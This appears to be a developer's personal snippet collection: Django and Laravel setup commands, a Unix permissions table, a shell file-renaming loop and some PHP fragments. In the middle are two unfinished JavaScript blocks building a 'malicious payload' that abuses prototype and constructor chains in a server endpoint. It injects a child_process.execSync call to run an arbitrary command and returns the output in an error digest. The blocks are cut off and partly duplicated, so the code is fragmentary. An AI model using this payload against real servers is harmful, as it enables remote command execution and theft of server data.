Razzul razzul

Create New Project:

$ django-admin startproject mysite
$ cd mysite
$ python manage.py runserver

$ python manage.py startapp polls
$ python manage.py migrate

People

php artisan make:command QuizStart --command=quiz:start

// /app/console/Kernel.php
protected $commands = [
    // Commands\Inspire::class,
    'App\Console\Commands\QuizStart'
];

Symbolic	Notation	Numeric Notation English
----------	0000	no permissions
-rwx------	0700	read, write, & execute only for owner
-rwxrwx---	0770	read, write, & execute for owner and group
-rwxrwxrwx	0777	read, write, & execute for owner, group and others
---x--x--x	0111	execute
--w--w--w-	0222	write

$final_errors = array(
    'codes' => array(),
    'messages' => array(),
    'details' => array(),
);

$errors = array(

	(async () => {
	// === CONFIGURATION ===
	const cmd = "touch iWasHere"; // The command you want to run
	const targetUrl = "/namaste"; // The endpoint to hit (relative to current domain)

	console.log(`[*] Attempting to run command: ${cmd}`);

	// 1. Construct the malicious payload
	// This injects the command into a child_process.execSync call and throws the result in an error digest
	const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('${cmd}').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}`;

	(async () => {
	// === CONFIGURATION ===
	const targetUrl = "/namaste"; // The endpoint to hit (relative to current domain)

	console.log(`[*] Attempting to run command: ${cmd}`);

	// 1. Construct the malicious payload
	// This injects the command into a child_process.execSync call and throws the result in an error digest
	const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"console.log('meowmeow')//","_formData":{"get":"$1:constructor:constructor"}}}`;

	Change file name from `_` to `-`
	-----------------
	> $ for f in *.json; do mv "$f" "`echo $f \| sed s/UTID_/UTID-/`"; done